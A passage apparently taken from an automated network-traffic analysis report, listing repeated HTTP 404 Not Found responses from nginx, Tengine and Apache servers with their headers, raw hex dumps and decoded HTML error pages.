Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Wed, 11 Dec 2024 23:19:42 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 23:19:49 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Connection: closeTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 23:19:52 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Connection: closeTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 23:19:55 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Connection: closeTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 23:19:57 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Connection: closeTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 23:20:04 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 23:20:07 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 23:20:10 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 23:20:12 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 